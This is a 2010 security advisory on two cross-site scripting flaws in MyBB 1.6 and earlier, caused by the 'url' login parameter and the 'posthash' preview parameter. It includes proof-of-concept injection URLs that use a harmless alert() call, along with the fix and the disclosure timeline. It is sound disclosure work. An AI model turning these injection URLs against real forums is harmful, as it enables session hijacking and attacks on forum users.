Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:25350
HistoryDec 20, 2010 - 12:00 a.m.

MyBB 1.6 <= Cross Site Scripting (XSS) Vulnerability

2010-12-2000:00:00
vulners.com
44

============================================
MyBB 1.6 <= Cross Site Scripting (XSS) Vulnerability

  1. OVERVIEW

MyBB was vulnerable to Cross Site Scripting Vulnerability.

  1. APPLICATION DESCRIPTION

MyBB is a free bulletin board system software package developed by the
MyBB Group.
It's supposed to be developed from XMB and DevBB bulletin board applications.

  1. VULNERABILITY DESCRIPTION

Two XSS vulnerabilities were found. One is user-driven XSS on "url" parameter.
User will get xssed upon successful log-in.
The other is a reflected XSS on "posthash" parameter where the valid
tid (topic id) is required for successful attack.
The anti-CSRF check against "my_post_key" parameter was not done in
thread/post preview mode and thus there came a way for XSS to be
successful.

  1. VERSIONS AFFECTED

MyBB 1.6 and lower

  1. PROOF-OF-CONCEPT/EXPLOIT

User-driven XSS
http://attacker.in/mybb/member.php?action=login&amp;url=javascript:alert&#37;28/XSS/&#37;29

Reflected XSS
http://attacker.in/mybb/newreply.php?my_post_key=&amp;subject=XSS&amp;action=do_newreply&amp;posthash=&quot;&gt;&lt;script&gt;alert&#40;/XSS/&#41;&lt;/script&gt;&amp;quoted_ids=&amp;lastpid=1&amp;from_page=1&amp;tid=1&amp;method=quickreply&amp;message=test&amp;previewpost=Preview
Post

  1. SOLUTION

Upgrade to 1.6.1

  1. VENDOR

MyBB Development Team
http://www.mybb.com/

  1. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.

  1. DISCLOSURE TIME-LINE

2010-12-09: notified vendor
2010-12-15: vendor released fixed version
2010-12-20: vulnerability disclosed

  1. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/[mybb1.6]_cross_site_scripting
About MyBB: http://www.mybb.com/about/mybb

#yehg [2010-12-20]


Best regards,
YGN Ethical Hacker Group
Yangon, Myanmar
http://yehg.net
Our Lab | http://yehg.net/lab
Our Directory | http://yehg.net/hwd